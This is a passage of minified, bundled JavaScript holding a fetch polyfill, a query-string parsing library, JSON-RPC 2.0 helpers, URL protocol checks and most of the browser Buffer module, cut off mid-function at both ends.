a&&i&&(a.responseType="blob"),s.headers.forEach((function(e,t){a.setRequestHeader(t,e)})),s.signal&&(s.signal.addEventListener("abort",u),a.onreadystatechange=function(){4===a.readyState&&s.signal.removeEventListener("abort",u)}),a.send(void 0===s._bodyInit?null:s._bodyInit)}))}S.polyfill=!0,e.fetch||(e.fetch=S,e.Headers=h,e.Request=_,e.Response=w),t.Headers=h,t.Request=_,t.Response=w,t.fetch=S,Object.defineProperty(t,"__esModule",{value:!0})}({})}(r),r.fetch.ponyfill=!0,delete r.fetch.polyfill;var i=r;(t=i.fetch).default=i.fetch,t.fetch=i.fetch,t.Headers=i.Headers,t.Request=i.Request,t.Response=i.Response,e.exports=t},function(e,t,n){const r=n(69),i=n(70),o=n(71),s=n(72);function a(e){if("string"!=typeof e||1!==e.length)throw new TypeError("arrayFormatSeparator must be single character string")}function u(e,t){return t.encode?t.strict?r(e):encodeURIComponent(e):e}function c(e,t){return t.decode?i(e):e}function l(e){const t=e.indexOf("#");return-1!==t&&(e=e.slice(0,t)),e}function f(e){const t=(e=l(e)).indexOf("?");return-1===t?"":e.slice(t+1)}function h(e,t){return t.parseNumbers&&!Number.isNaN(Number(e))&&"string"==typeof e&&""!==e.trim()?e=Number(e):!t.parseBooleans||null===e||"true"!==e.toLowerCase()&&"false"!==e.toLowerCase()||(e="true"===e.toLowerCase()),e}function d(e,t){a((t=Object.assign({decode:!0,sort:!0,arrayFormat:"none",arrayFormatSeparator:",",parseNumbers:!1,parseBooleans:!1},t)).arrayFormatSeparator);const n=function(e){let t;switch(e.arrayFormat){case"index":return(e,n,r)=>{t=/\[(\d*)\]$/.exec(e),e=e.replace(/\[\d*\]$/,""),t?(void 0===r[e]&&(r[e]={}),r[e][t[1]]=n):r[e]=n};case"bracket":return(e,n,r)=>{t=/(\[\])$/.exec(e),e=e.replace(/\[\]$/,""),t?void 0!==r[e]?r[e]=[].concat(r[e],n):r[e]=[n]:r[e]=n};case"comma":case"separator":return(t,n,r)=>{const i="string"==typeof n&&n.includes(e.arrayFormatSeparator),o="string"==typeof n&&!i&&c(n,e).includes(e.arrayFormatSeparator);n=o?c(n,e):n;const s=i||o?n.split(e.arrayFormatSeparator).map((t=>c(t,e))):null===n?n:c(n,e);r[t]=s};default:return(e,t,n)=>{void 0!==n[e]?n[e]=[].concat(n[e],t):n[e]=t}}}(t),r=Object.create(null);if("string"!=typeof e)return r;if(!(e=e.trim().replace(/^[?#&]/,"")))return r;for(const i of e.split("&")){if(""===i)continue;let[e,s]=o(t.decode?i.replace(/\+/g," "):i,"=");s=void 0===s?null:["comma","separator"].includes(t.arrayFormat)?s:c(s,t),n(c(e,t),s,r)}for(const e of Object.keys(r)){const n=r[e];if("object"==typeof n&&null!==n)for(const e of Object.keys(n))n[e]=h(n[e],t);else r[e]=h(n,t)}return!1===t.sort?r:(!0===t.sort?Object.keys(r).sort():Object.keys(r).sort(t.sort)).reduce(((e,t)=>{const n=r[t];return Boolean(n)&&"object"==typeof n&&!Array.isArray(n)?e[t]=function e(t){return Array.isArray(t)?t.sort():"object"==typeof t?e(Object.keys(t)).sort(((e,t)=>Number(e)-Number(t))).map((e=>t[e])):t}(n):e[t]=n,e}),Object.create(null))}t.extract=f,t.parse=d,t.stringify=(e,t)=>{if(!e)return"";a((t=Object.assign({encode:!0,strict:!0,arrayFormat:"none",arrayFormatSeparator:","},t)).arrayFormatSeparator);const n=n=>t.skipNull&&null==e[n]||t.skipEmptyString&&""===e[n],r=function(e){switch(e.arrayFormat){case"index":return t=>(n,r)=>{const i=n.length;return void 0===r||e.skipNull&&null===r||e.skipEmptyString&&""===r?n:null===r?[...n,[u(t,e),"[",i,"]"].join("")]:[...n,[u(t,e),"[",u(i,e),"]=",u(r,e)].join("")]};case"bracket":return t=>(n,r)=>void 0===r||e.skipNull&&null===r||e.skipEmptyString&&""===r?n:null===r?[...n,[u(t,e),"[]"].join("")]:[...n,[u(t,e),"[]=",u(r,e)].join("")];case"comma":case"separator":return t=>(n,r)=>null==r||0===r.length?n:0===n.length?[[u(t,e),"=",u(r,e)].join("")]:[[n,u(r,e)].join(e.arrayFormatSeparator)];default:return t=>(n,r)=>void 0===r||e.skipNull&&null===r||e.skipEmptyString&&""===r?n:null===r?[...n,u(t,e)]:[...n,[u(t,e),"=",u(r,e)].join("")]}}(t),i={};for(const t of Object.keys(e))n(t)||(i[t]=e[t]);const o=Object.keys(i);return!1!==t.sort&&o.sort(t.sort),o.map((n=>{const i=e[n];return void 0===i?"":null===i?u(n,t):Array.isArray(i)?i.reduce(r(n),[]).join("&"):u(n,t)+"="+u(i,t)})).filter((e=>e.length>0)).join("&")},t.parseUrl=(e,t)=>{t=Object.assign({decode:!0},t);const[n,r]=o(e,"#");return Object.assign({url:n.split("?")[0]||"",query:d(f(e),t)},t&&t.parseFragmentIdentifier&&r?{fragmentIdentifier:c(r,t)}:{})},t.stringifyUrl=(e,n)=>{n=Object.assign({encode:!0,strict:!0},n);const r=l(e.url).split("?")[0]||"",i=t.extract(e.url),o=t.parse(i,{sort:!1}),s=Object.assign(o,e.query);let a=t.stringify(s,n);a&&(a="?"+a);let c=function(e){let t="";const n=e.indexOf("#");return-1!==n&&(t=e.slice(n)),t}(e.url);return e.fragmentIdentifier&&(c="#"+u(e.fragmentIdentifier,n)),`${r}${a}${c}`},t.pick=(e,n,r)=>{r=Object.assign({parseFragmentIdentifier:!0},r);const{url:i,query:o,fragmentIdentifier:a}=t.parseUrl(e,r);return t.stringifyUrl({url:i,query:s(o,n),fragmentIdentifier:a},r)},t.exclude=(e,n,r)=>{const i=Array.isArray(n)?e=>!n.includes(e):(e,t)=>!n(e,t);return t.pick(e,i,r)}},function(e,t,n){n.r(t),n.d(t,"isNodeJs",(function(){return o}));var r=n(5);for(var i in r)["default","isNodeJs"].indexOf(i)<0&&function(e){n.d(t,e,(function(){return r[e]}))}(i);const o=r.isNode},function(e,t,n){n.d(t,"e",(function(){return o})),n.d(t,"c",(function(){return s})),n.d(t,"d",(function(){return a})),n.d(t,"b",(function(){return u})),n.d(t,"a",(function(){return c}));var r=n(11),i=n(4);function o(){return Date.now()*Math.pow(10,3)+Math.floor(Math.random()*Math.pow(10,3))}function s(e,t,n){return{id:n||o(),jsonrpc:"2.0",method:e,params:t}}function a(e,t){return{id:e,jsonrpc:"2.0",result:t}}function u(e,t,n){return{id:e,jsonrpc:"2.0",error:c(t,n)}}function c(e,t){return void 0===e?Object(r.a)(i.b):("string"==typeof e&&(e=Object.assign(Object.assign({},Object(r.a)(i.h)),{message:e})),void 0!==t&&(e.data=t),Object(r.c)(e.code)&&(e=Object(r.b)(e.code)),e)}},function(e,t,n){function r(e){return e.includes("*")?o(e):!/\W/g.test(e)}function i(e){return"*"===e}function o(e){return!!i(e)||!!e.includes("*")&&2===e.split("*").length&&1===e.split("*").filter((e=>""===e.trim())).length}function s(e){return!i(e)&&o(e)&&!e.split("*")[0].trim()}function a(e){return!i(e)&&o(e)&&!e.split("*")[1].trim()}n.d(t,"c",(function(){return r})),n.d(t,"a",(function(){return i})),n.d(t,"e",(function(){return o})),n.d(t,"b",(function(){return s})),n.d(t,"d",(function(){return a}))},function(e,t,n){n.r(t);var r=n(20);for(var i in r)["default"].indexOf(i)<0&&function(e){n.d(t,e,(function(){return r[e]}))}(i)},function(e,t){},function(e,t,n){n.d(t,"b",(function(){return i})),n.d(t,"a",(function(){return o})),n.d(t,"c",(function(){return s}));var r=n(15);class i extends r.a{constructor(e){super()}}class o extends r.a{constructor(){super()}}class s extends o{constructor(e){super()}}},function(e,t){},function(e,t,n){function r(e,t){const n=function(e){const t=e.match(new RegExp(/^\w+:/,"gi"));if(t&&t.length)return t[0]}(e);return void 0!==n&&new RegExp(t).test(n)}function i(e){return r(e,"^https?:")}function o(e){return r(e,"^wss?:")}function s(e){return new RegExp("wss?://localhost(:d{2,5})?").test(e)}n.d(t,"a",(function(){return i})),n.d(t,"c",(function(){return o})),n.d(t,"b",(function(){return s}))},function(e,t,n){function r(e){return"object"==typeof e&&"id"in e&&"jsonrpc"in e&&"2.0"===e.jsonrpc}function i(e){return r(e)&&"method"in e}function o(e){return r(e)&&(s(e)||a(e))}function s(e){return"result"in e}function a(e){return"error"in e}function u(e){return"error"in e&&!1===e.valid}n.d(t,"b",(function(){return r})),n.d(t,"c",(function(){return i})),n.d(t,"d",(function(){return o})),n.d(t,"e",(function(){return s})),n.d(t,"a",(function(){return a})),n.d(t,"f",(function(){return u}))},function(e,t){},function(e,t){},function(e,t,n){n.d(t,"a",(function(){return r}));class r{}},function(e,t){},function(e,t){},function(e,t){},function(e,t){},function(e,t){},function(e,t){},function(e,t){},function(e,t,n){(function(e){
17
- /*!
18
- * The buffer module from node.js, for the browser.
19
- *
20
- * @author Feross Aboukhadijeh <http://feross.org>
21
- * @license MIT
22
- */
23
- var r=n(66),i=n(67),o=n(68);function s(){return u.TYPED_ARRAY_SUPPORT?2147483647:1073741823}function a(e,t){if(s()<t)throw new RangeError("Invalid typed array length");return u.TYPED_ARRAY_SUPPORT?(e=new Uint8Array(t)).__proto__=u.prototype:(null===e&&(e=new u(t)),e.length=t),e}function u(e,t,n){if(!(u.TYPED_ARRAY_SUPPORT||this instanceof u))return new u(e,t,n);if("number"==typeof e){if("string"==typeof t)throw new Error("If encoding is specified then the first argument must be a string");return f(this,e)}return c(this,e,t,n)}function c(e,t,n,r){if("number"==typeof t)throw new TypeError('"value" argument must not be a number');return"undefined"!=typeof ArrayBuffer&&t instanceof ArrayBuffer?function(e,t,n,r){if(t.byteLength,n<0||t.byteLength<n)throw new RangeError("'offset' is out of bounds");if(t.byteLength<n+(r||0))throw new RangeError("'length' is out of bounds");return t=void 0===n&&void 0===r?new Uint8Array(t):void 0===r?new Uint8Array(t,n):new Uint8Array(t,n,r),u.TYPED_ARRAY_SUPPORT?(e=t).__proto__=u.prototype:e=h(e,t),e}(e,t,n,r):"string"==typeof t?function(e,t,n){if("string"==typeof n&&""!==n||(n="utf8"),!u.isEncoding(n))throw new TypeError('"encoding" must be a valid string encoding');var r=0|p(t,n),i=(e=a(e,r)).write(t,n);return i!==r&&(e=e.slice(0,i)),e}(e,t,n):function(e,t){if(u.isBuffer(t)){var n=0|d(t.length);return 0===(e=a(e,n)).length||t.copy(e,0,0,n),e}if(t){if("undefined"!=typeof ArrayBuffer&&t.buffer instanceof ArrayBuffer||"length"in t)return"number"!=typeof t.length||(r=t.length)!=r?a(e,0):h(e,t);if("Buffer"===t.type&&o(t.data))return h(e,t.data)}var r;throw new TypeError("First argument must be a string, Buffer, ArrayBuffer, Array, or array-like object.")}(e,t)}function l(e){if("number"!=typeof e)throw new TypeError('"size" argument must be a number');if(e<0)throw new RangeError('"size" argument must not be negative')}function f(e,t){if(l(t),e=a(e,t<0?0:0|d(t)),!u.TYPED_ARRAY_SUPPORT)for(var n=0;n<t;++n)e[n]=0;return e}function h(e,t){var n=t.length<0?0:0|d(t.length);e=a(e,n);for(var r=0;r<n;r+=1)e[r]=255&t[r];return e}function d(e){if(e>=s())throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x"+s().toString(16)+" bytes");return 0|e}function p(e,t){if(u.isBuffer(e))return e.length;if("undefined"!=typeof ArrayBuffer&&"function"==typeof ArrayBuffer.isView&&(ArrayBuffer.isView(e)||e instanceof ArrayBuffer))return e.byteLength;"string"!=typeof e&&(e=""+e);var n=e.length;if(0===n)return 0;for(var r=!1;;)switch(t){case"ascii":case"latin1":case"binary":return n;case"utf8":case"utf-8":case void 0:return F(e).length;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return 2*n;case"hex":return n>>>1;case"base64":return B(e).length;default:if(r)return F(e).length;t=(""+t).toLowerCase(),r=!0}}function g(e,t,n){var r=!1;if((void 0===t||t<0)&&(t=0),t>this.length)return"";if((void 0===n||n>this.length)&&(n=this.length),n<=0)return"";if((n>>>=0)<=(t>>>=0))return"";for(e||(e="utf8");;)switch(e){case"hex":return C(this,t,n);case"utf8":case"utf-8":return I(this,t,n);case"ascii":return R(this,t,n);case"latin1":case"binary":return k(this,t,n);case"base64":return x(this,t,n);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return P(this,t,n);default:if(r)throw new TypeError("Unknown encoding: "+e);e=(e+"").toLowerCase(),r=!0}}function y(e,t,n){var r=e[t];e[t]=e[n],e[n]=r}function v(e,t,n,r,i){if(0===e.length)return-1;if("string"==typeof n?(r=n,n=0):n>2147483647?n=2147483647:n<-2147483648&&(n=-2147483648),n=+n,isNaN(n)&&(n=i?0:e.length-1),n<0&&(n=e.length+n),n>=e.length){if(i)return-1;n=e.length-1}else if(n<0){if(!i)return-1;n=0}if("string"==typeof t&&(t=u.from(t,r)),u.isBuffer(t))return 0===t.length?-1:m(e,t,n,r,i);if("number"==typeof t)return t&=255,u.TYPED_ARRAY_SUPPORT&&"function"==typeof Uint8Array.prototype.indexOf?i?Uint8Array.prototype.indexOf.call(e,t,n):Uint8Array.prototype.lastIndexOf.call(e,t,n):m(e,[t],n,r,i);throw new TypeError("val must be string, number or Buffer")}function m(e,t,n,r,i){var o,s=1,a=e.length,u=t.length;if(void 0!==r&&("ucs2"===(r=String(r).toLowerCase())||"ucs-2"===r||"utf16le"===r||"utf-16le"===r)){if(e.length<2||t.length<2)return-1;s=2,a/=2,u/=2,n/=2}function c(e,t){return 1===s?e[t]:e.readUInt16BE(t*s)}if(i){var l=-1;for(o=n;o<a;o++)if(c(e,o)===c(t,-1===l?0:o-l)){if(-1===l&&(l=o),o-l+1===u)return l*s}else-1!==l&&(o-=o-l),l=-1}else for(n+u>a&&(n=a-u),o=n;o>=0;o--){for(var f=!0,h=0;h<u;h++)if(c(e,o+h)!==c(t,h)){f=!1;break}if(f)return o}return-1}function _(e,t,n,r){n=Number(n)||0;var i=e.length-n;r?(r=Number(r))>i&&(r=i):r=i;var o=t.length;if(o%2!=0)throw new TypeError("Invalid hex string");r>o/2&&(r=o/2);for(var s=0;s<r;++s){var a=parseInt(t.substr(2*s,2),16);if(isNaN(a))return s;e[n+s]=a}return s}function b(e,t,n,r){return H(F(t,e.length-n),e,n,r)}function w(e,t,n,r){return H(function(e){for(var t=[],n=0;n<e.length;++n)t.push(255&e.charCodeAt(n));return t}(t),e,n,r)}function E(e,t,n,r){return w(e,t,n,r)}function S(e,t,n,r){return H(B(t),e,n,r)}function O(e,t,n,r){return H(function(e,t){for(var n,r,i,o=[],s=0;s<e.length&&!((t-=2)<0);++s)r=(n=e.charCodeAt(s))>>8,i=n%256,o.push(i),o.push(r);return o}(t,e.length-n),e,n,r)}function x(e,t,n){return 0===t&&n===e.length?r.fromByteArray(e):r.fromByteArray(e.slice(t,n))}function I(e,t,n){n=Math.min(e.length,n);for(var r=[],i=t;i<n;){var o,s,a,u,c=e[i],l=null,f=c>239?4:c>223?3:c>191?2:1;if(i+f<=n)switch(f){case 1:c<128&&(l=c);break;case 2:128==(192&(o=e[i+1]))&&(u=(31&c)<<6|63&o)>127&&(l=u);break;case 3:o=e[i+1],s=e[i+2],128==(192&o)&&128==(192&s)&&(u=(15&c)<<12|(63&o)<<6|63&s)>2047&&(u<55296||u>57343)&&(l=u);break;case 4:o=e[i+1],s=e[i+2],a=e[i+3],128==(192&o)&&128==(192&s)&&128==(192&a)&&(u=(15&c)<<18|(63&o)<<12|(63&s)<<6|63&a)>65535&&u<1114112&&(l=u)}null===l?(l=65533,f=1):l>65535&&(l-=65536,r.push(l>>>10&1023|55296),l=56320|1023&l),r.push(l),i+=f}return function(e){var t=e.length;if(t<=4096)return String.fromCharCode.apply(String,e);for(var n="",r=0;r<t;)n+=String.fromCharCode.apply(String,e.slice(r,r+=4096));return n}(r)}function R(e,t,n){var r="";n=Math.min(e.length,n);for(var i=t;i<n;++i)r+=String.fromCharCode(127&e[i]);return r}function k(e,t,n){var r="";n=Math.min(e.length,n);for(var i=t;i<n;++i)r+=String.fromCharCode(e[i]);return r}function C(e,t,n){var r=e.length;(!t||t<0)&&(t=0),(!n||n<0||n>r)&&(n=r);for(var i="",o=t;o<n;++o)i+=z(e[o]);return i}function P(e,t,n){for(var r=e.slice(t,n),i="",o=0;o<r.length;o+=2)i+=String.fromCharCode(r[o]+256*r[o+1]);return i}function A(e,t,n){if(e%1!=0||e<0)throw new RangeError("offset is not uint");if(e+t>n)throw new RangeError("Trying to access beyond buffer length")}function N(e,t,n,r,i,o){if(!u.isBuffer(e))throw new TypeError('"buffer" argument must be a Buffer instance');if(t>i||t<o)throw new RangeError('"value" argument is out of bounds');if(n+r>e.length)throw new RangeError("Index out of range")}function T(e,t,n,r){t<0&&(t=65535+t+1);for(var i=0,o=Math.min(e.length-n,2);i<o;++i)e[n+i]=(t&255<<8*(r?i:1-i))>>>8*(r?i:1-i)}function M(e,t,n,r){t<0&&(t=4294967295+t+1);for(var i=0,o=Math.min(e.length-n,4);i<o;++i)e[n+i]=t>>>8*(r?i:3-i)&255}function L(e,t,n,r,i,o){if(n+r>e.length)throw new RangeError("Index out of range");if(n<0)throw new RangeError("Index out of range")}function j(e,t,n,r,o){return o||L(e,0,n,4),i.write(e,t,n,r,23,4),n+4}function U(e,t,n,r,o){return o||L(e,0,n,8),i.write(e,t,n,r,52,8),n+8}t.Buffer=u,t.SlowBuffer=function(e){return+e!=e&&(e=0),u.alloc(+e)},t.INSPECT_MAX_BYTES=50,u.TYPED_ARRAY_SUPPORT=void 0!==e.TYPED_ARRAY_SUPPORT?e.TYPED_ARRAY_SUPPORT:function(){try{var e=new Uint8Array(1);return e.__proto__={__proto__:Uint8Array.prototype,foo:function(){return 42}},42===e.foo()&&"function"==typeof e.subarray&&0===e.subarray(1,1).byteLength}catch(e){return!1}}(),t.kMaxLength=s(),u.poolSize=8192,u._augment=function(e){return e.__proto__=u.prototype,e},u.from=function(e,t,n){return c(null,e,t,n)},u.TYPED_ARRAY_SUPPORT&&(u.prototype.__proto__=Uint8Array.prototype,u.__proto__=Uint8Array,"undefined"!=typeof Symbol&&Symbol.species&&u[Symbol.species]===u&&Object.defineProperty(u,Symbol.species,{value:null,configurable:!0})),u.alloc=function(e,t,n){return function(e,t,n,r){return l(t),t<=0?a(e,t):void 0!==n?"string"==typeof r?a(e,t).fill(n,r):a(e,t).fill(n):a(e,t)}(null,e,t,n)},u.allocUnsafe=function(e){return f(null,e)},u.allocUnsafeSlow=function(e){return f(null,e)},u.isBuffer=function(e){return!(null==e||!e._isBuffer)},u.compare=function(e,t){if(!u.isBuffer(e)||!u.isBuffer(t))throw new TypeError("Arguments must be Buffers");if(e===t)return 0;for(var n=e.length,r=t.length,i=0,o=Math.min(n,r);i<o;++i)if(e[i]!==t[i]){n=e[i],r=t[i];break}return n<r?-1:r<n?1:0},u.isEncoding=function(e){switch(String(e).toLowerCase()){case"hex":case"utf8":case"utf-8":case"ascii":case"latin1":case"binary":case"base64":case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return!0;default:return!1}},u.concat=function(e,t){if(!o(e))throw new TypeError('"list" argument must be an Array of Buffers');if(0===e.length)return u.alloc(0);var n;if(void 0===t)for(t=0,n=0;n<e.length;++n)t+=e[n].length;var r=u.allocUnsafe(t),i=0;for(n=0;n<e.length;++n){var s=e[n];if(!u.isBuffer(s))throw new TypeError('"list" argument must be an Array of Buffers');s.copy(r,i),i+=s.length}return r},u.byteLength=p,u.prototype._isBuffer=!0,u.prototype.swap16=function(){var e=this.length;if(e%2!=0)throw new RangeError("Buffer size must be a multiple of 16-bits");for(var t=0;t<e;t+=2)y(this,t,t+1);return this},u.prototype.swap32=function(){var e=this.length;if(e%4!=0)throw new RangeError("Buffer size must be a multiple of 32-bits");for(var t=0;t<e;t+=4)y(this,t,t+3),y(this,t+1,t+2);return this},u.prototype.swap64=function(){var e=this.length;if(e%8!=0)throw new RangeError("Buffer size must be a multiple of 64-bits");for(var t=0;t<e;t+=8)y(this,t,t+7),y(this,t+1,t+6),y(this,t+2,t+5),y(this,t+3,t+4);return this},u.prototype.toString=function(){var e=0|this.length;return 0===e?"":0===arguments.length?I(this,0,e):g.apply(this,arguments)},u.prototype.equals=function(e){if(!u.isBuffer(e))throw new TypeError("Argument must be a Buffer");return this===e||0===u.compare(this,e)},u.prototype.inspect=function(){var e="",n=t.INSPECT_MAX_BYTES;return this.length>0&&(e=this.toString("hex",0,n).match(/.{2}/g).join(" "),this.length>n&&(e+=" ... ")),"<Buffer "+e+">"},u.prototype.compare=function(e,t,n,r,i){if(!u.isBuffer(e))throw new TypeError("Argument must be a Buffer");if(void 0===t&&(t=0),void 0===n&&(n=e?e.length:0),void 0===r&&(r=0),void 0===i&&(i=this.length),t<0||n>e.length||r<0||i>this.length)throw new RangeError("out of range index");if(r>=i&&t>=n)return 0;if(r>=i)return-1;if(t>=n)return 1;if(this===e)return 0;for(var o=(i>>>=0)-(r>>>=0),s=(n>>>=0)-(t>>>=0),a=Math.min(o,s),c=this.slice(r,i),l=e.slice(t,n),f=0;f<a;++f)if(c[f]!==l[f]){o=c[f],s=l[f];break}return o<s?-1:s<o?1:0},u.prototype.includes=function(e,t,n){return-1!==this.indexOf(e,t,n)},u.prototype.indexOf=function(e,t,n){return v(this,e,t,n,!0)},u.prototype.lastIndexOf=function(e,t,n){return v(this,e,t,n,!1)},u.prototype.write=function(e,t,n,r){if(void 0===t)r="utf8",n=this.length,t=0;else if(void 0===n&&"string"==typeof t)r=t,n=this.length,t=0;else{if(!isFinite(t))throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported");t|=0,isFinite(n)?(n|=0,void 0===r&&(r="utf8")):(r=n,n=void 0)}var i=this.length-t;if((void 0===n||n>i)&&(n=i),e.length>0&&(n<0||t<0)||t>this.length)throw new RangeError("Attempt to write outside buffer bounds");r||(r="utf8");for(var o=!1;;)switch(r){case"hex":return _(this,e,t,n);case"utf8":case"utf-8":return b(this,e,t,n);case"ascii":return w(this,e,t,n);case"latin1":case"binary":return E(this,e,t,n);case"base64":return S(this,e,t,n);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return O(this,e,t,n);default:if(o)throw new TypeError("Unknown encoding: "+r);r=(""+r).toLowerCase(),o=!0}},u.prototype.toJSON=function(){return{type:"Buffer",data:Array.prototype.slice.call(this._arr||this,0)}},u.prototype.slice=function(e,t){var n,r=this.length;if((e=~~e)<0?(e+=r)<0&&(e=0):e>r&&(e=r),(t=void 0===t?r:~~t)<0?(t+=r)<0&&(t=0):t>r&&(t=r),t<e&&(t=e),u.TYPED_ARRAY_SUPPORT)(n=this.subarray(e,t)).__proto__=u.prototype;else{var i=t-e;n=new u(i,void 0);for(var o=0;o<i;++o)n[o]=this[o+e]}return n},u.prototype.readUIntLE=function(e,t,n){e|=0,t|=0,n||A(e,t,this.length);for(var r=this[e],i=1,o=0;++o<t&&(i*=256);)r+=this[e+o]*i;return r},u.prototype.readUIntBE=function(e,t,n){e|=0,t|=0,n||A(e,t,this.length);for(var r=this[e+--t],i=1;t>0&&(i*=256);)r+=this[e+--t]*i;return r},u.prototype.readUInt8=function(e,t){return t||A(e,1,this.length),this[e]},u.prototype.readUInt16LE=function(e,t){return t||A(e,2,this.length),this[e]|this[e+1]<<8},u.prototype.readUInt16BE=function(e,t){return t||A(e,2,this.length),this[e]<<8|this[e+1]},u.prototype.readUInt32LE=function(e,t){return t||A(e,4,this.length),(this[e]|this[e+1]<<8|this[e+2]<<16)+16777216*this[e+3]},u.prototype.readUInt32BE=function(e,t){return t||A(e,4,this.length),16777216*this[e]+(this[e+1]<<16|this[e+2]<<8|this[e+3])},u.prototype.readIntLE=function(e,t,n){e|=0,t|=0,n||A(e,t,this.length);for(var r=this[e],i=1,o=0;++o<t&&(i*=256);)r+=this[e+o]*i;return r>=(i*=128)&&(r-=Math.pow(2,8*t)),r},u.prototype.readIntBE=function(e,t,n){e|=0,t|=0,n||A(e,t,this.length);for(var r=t,i=1,o=this[e+--r];r>0&&(i*=256);)o+=this[e+--r]*i;return o>=(i*=128)&&(o-=Math.pow(2,8*t)),o},u.prototype.readInt8=function(e,t){return t||A(e,1,this.length),128&this[e]?-1*(255-this[e]+1):this[e]},u.prototype.readInt16LE=function(e,t){t||A(e,2,this.length);var n=this[e]|this[e+1]<<8;return 32768&n?4294901760|n:n},u.prototype.readInt16BE=function(e,t){t||A(e,2,this.length);var n=this[e+1]|this[e]<<8;return 32768&n?4294901760|n:n},u.prototype.readInt32LE=function(e,t){return t||A(e,4,this.length),this[e]|this[e+1]<<8|this[e+2]<<16|this[e+3]<<24},u.prototype.readInt32BE=function(e,t){return t||A(e,4,this.length),this[e]<<24|this[e+1]<<16|this[e+2]<<8|this[e+3]},u.prototype.readFloatLE=function(e,t){return t||A(e,4,this.length),i.read(this,e,!0,23,4)},u.prototype.readFloatBE=function(e,t){return t||A(e,4,this.length),i.read(this,e,!1,23,4)},u.prototype.readDoubleLE=function(e,t){return t||A(e,8,this.length),i.read(this,e,!0,52,8)},u.prototype.readDoubleBE=function(e,t){return t||A(e,8,this.length),i.read(this,e,!1,52,8)},u.prototype.writeUIntLE=function(e,t,n,r){e=+e,t|=0,n|=0,r||N(this,e,t,n,Math.pow(2,8*n)-1,0);var i=1,o=0;for(this[t]=255&e;++o<n&&(i*=256);)this[t+o]=e/i&255;return t+n},u.prototype.writeUIntBE=function(e,t,n,r){e=+e,t|=0,n|=0,r||N(this,e,t,n,Math.pow(2,8*n)-1,0);var i=n-1,o=1;for(this[t+i]=255&e;--i>=0&&(o*=256);)this[t+i]=e/o&255;return t+n},u.prototype.writeUInt8=function(e,t,n){return e=+e,t|=0,n||N(this,e,t,1,255,0),u.TYPED_ARRAY_SUPPORT||(e=Math.floor(e)),this[t]=255&e,t+1},u.prototype.writeUInt16LE=function(e,t,n){return e=+e,t|=0,n||N(this,e,t,2,65535,0),u.TYPED_ARRAY_SUPPORT?(this[t]=255&e,this[t+1]=e>>>8):T(this,e,t,!0),t+2},u.prototype.writeUInt16BE=function(e,t,n){return e=+e,t|=0,n||N(this,e,t,2,65535,0),u.TYPED_ARRAY_SUPPORT?(this[t]=e>>>8,this[t+1]=255&e):T(this,e,t,!1),t+2},u.prototype.writeUInt32LE=function(e,t,n){return e=+e,t|=0,n||N(this,e,t,4,4294967295,0),u.TYPED_ARRAY_SUPPORT?(this[t+3]=e>>>24,this[t+2]=e>>>16,this[t+1]=e>>>8,this[t]=255&e):M(this,e,t,!0),t+4},u.prototype.writeUInt32BE=function(e,t,n){return e=+e,t|=0,n||N(this,e,t,4,4294967295,0),u.TYPED_ARRAY_SUPPORT?(this[t]=e>>>24,this[t+1]=e>>>16,this[t+2]=e>>>8,this[t+3]=255&e):M(this,e,t,!1),t+4},u.prototype.writeIntLE=function(e,t,n,r){if(e=+e,t|=0,!r){var i=Math.pow(2,8*n-1);N(this,e,t,n,i-1,-i)}var o=0,s=1,a=0;for(this[t]=255&e;++o<n&&(s*=256);)e<0&&0===a&&0!==this[t+o-1]&&(a=1),this[t+o]=(e/s>>0)-a&255;return t+n},u.prototype.writeIntBE=function(e,t,n,r){if(e=+e,t|=0,!r){var i=Math.pow(2,8*n-1);N(this,e,t,n,i-1,-i)}var o=n-1,s=1,a=0;for(this[t+o]=255&e;--o>=0&&(s*=256);)e<0&&0===a&&0!==this[t+o+1]&&(a=1),this[t+o]=(e/s>>0)-a&255;return t+n},u.prototype.writeInt8=function(e,t,n){return e=+e,t|=0,n||N(this,e,t,1,127,-128),u.TYPED_ARRAY_SUPPORT||(e=Math.floor(e)),e<0&&(e=255+e+1),this[t]=255&e,t+1},u.prototype.writeInt16LE=function(e,t,n){return e=+e,t|=0,n||N(this,e,t,2,32767,-32768),u.TYPED_ARRAY_SUPPORT?(this[t]=255&e,this[t+1]=e>>>8):T(this,e,t,!0),t+2},u.prototype.writeInt16BE=function(e,t,n){return e=+e,t|=0,n||N(this,e,t,2,32767,-32768),u.TYPED_ARRAY_SUPPORT?(this[t]=e>>>8,this[t+1]=255&e):T(this,e,t,!1),t+2},u.prototype.writeInt32LE=function(e,t,n){return e=+e,t|=0,n||N(this,e,t,4,2147483647,-2147483648),u.TYPED_ARRAY_SUPPORT?(this[t]=255&e,this[t+1]=e>>>8,this[t+2]=e>>>16,this[t+3]=e>>>24):M(this,e,t,!0),t+4},u.prototype.writeInt32BE=function(e,t,n){return e=+e,t|=0,n||N(this,e,t,4,2147483647,-2147483648),e<0&&(e=4294967295+e+1),u.TYPED_ARRAY_SUPPORT?(this[t]=e>>>24,this[t+1]=e>>>16,this[t+2]=e>>>8,this[t+3]=255&e):M(this,e,t,!1),t+4},u.prototype.writeFloatLE=function(e,t,n){return j(this,e,t,!0,n)},u.prototype.writeFloatBE=function(e,t,n){return j(this,e,t,!1,n)},u.prototype.writeDoubleLE=function(e,t,n){return U(this,e,t,!0,n)},u.prototype.writeDoubleBE=function(e,t,n){return U(this,e,t,!1,n)},u.prototype.copy=function(e,t,n,r){if(n||(n=0),r||0===r||(r=this.length),t>=e.length&&(t=e.length),t||(t=0),r>0&&r<n&&(r=n),r===n)return 0;if(0===e.length||0===this.length)return 0;if(t<0)throw new RangeError("targetStart out of bounds");if(n<0||n>=this.length)throw new RangeError("sourceStart out of bounds");if(r<0)throw new RangeError("sourceEnd out of bounds");r>this.length&&(r=this.length),e.length-t<r-n&&(r=e.length-t+n);var i,o=r-n;if(this===e&&n<t&&t<r)for(i=o-1;i>=0;--i)e[i+t]=this[i+n];else if(o<1e3||!u.TYPED_ARRAY_SUPPORT)for(i=0;i<o;++i)e[i+t]=this[i+n];else Uint8Array.prototype.set.call(e,this.subarray(n,n+o),t);return o},u.prototype.fill=function(e,t,n,r){if("string"==typeof e){if("string"==typeof t?(r=t,t=0,n=this.length):"string"==typeof n&&(r=n,n=this.length),1===e.length){var 